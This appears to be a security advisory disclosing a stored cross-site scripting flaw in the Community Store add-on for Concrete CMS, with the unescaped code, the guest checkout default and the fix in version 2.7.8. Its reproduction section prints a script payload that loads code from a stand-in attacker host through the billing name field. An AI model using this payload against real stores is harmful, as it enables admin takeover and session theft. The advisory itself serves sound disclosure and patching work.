
Stored XSS in Concrete CMS Community Store leads to admin dashboard takeover
| CVE | CVE-2026-93659 |
| Component | concretecms-community-store/community_store |
| Type | Stored Cross-Site Scripting (CWE-79) |
| Severity | CVSS v4.0 9.3 Critical / v3.1 8.7 High |
| Affected | All versions before 2.7.8 |
| Fixed in | 2.7.8 |
| Credit | Prince Edem Fiagbedzi (finder) |
Community Store, an open-source e-commerce add-on for Concrete CMS, stored customer-supplied order fields without sanitizing them and rendered them without HTML escaping across four admin-facing views. Any unauthenticated visitor could place an order with a script payload in a field like billing first name, and the payload would execute inside a store manager's authenticated dashboard session the next time they opened that order, enough to create a rogue administrator account or exfiltrate session data.
Every order carries customer-supplied fields: billing/shipping first name, last name, email, and phone. Those fields are stored as-is and rendered back out in four places a store manager routinely looks at:
single_pages/dashboard/store/orders.php)elements/order_slip.php)single_pages/dashboard/store/reports/*.php)single_pages/checkout/complete.php)Crucially, placing an order requires no account. Community Store's guest checkout
setting defaults to always, set that way by the package's own installer on every
fresh install, not something a store operator has to opt into. So this isn't a bug
that needs a misconfigured store; it's exploitable against a default,
out-of-the-box installation, no credentials required.
Update Community Store to 2.7.8 or later. The fix adds proper output escaping to all four affected render locations. There's no config workaround short of upgrading, since the vulnerable behavior is the escaping itself, not a toggle.
None of the four render locations escaped the customer-controlled fields. A representative line from the admin order view:
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>
No h() call, Concrete's standard output-escaping helper, anywhere near it, even
though the same file used h() correctly a few lines away for other values. Input
validation was no better: the only check applied to these fields was a length limit
(1-255 characters), nothing that stripped or rejected HTML.
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization
A <script> payload under 255 characters in the billing first name field passes
validation untouched, gets stored, and later renders unescaped wherever an admin
looks at the order.
The guest checkout default is set directly in the installer:
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
...
'guestCheckout' => 'always'
]);
The checkout controller only forces a login when that setting is off (or
option without a guest flag), and with the installed default, that branch never
triggers.
Tested against Community Store v2.7.7 on Concrete CMS 9.5.2 (self-hosted Docker lab, PHP 8.3). Payload submitted as an ordinary guest checkout, no authentication of any kind:
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
2a802d6,
adding h() escaping to all four affected render locations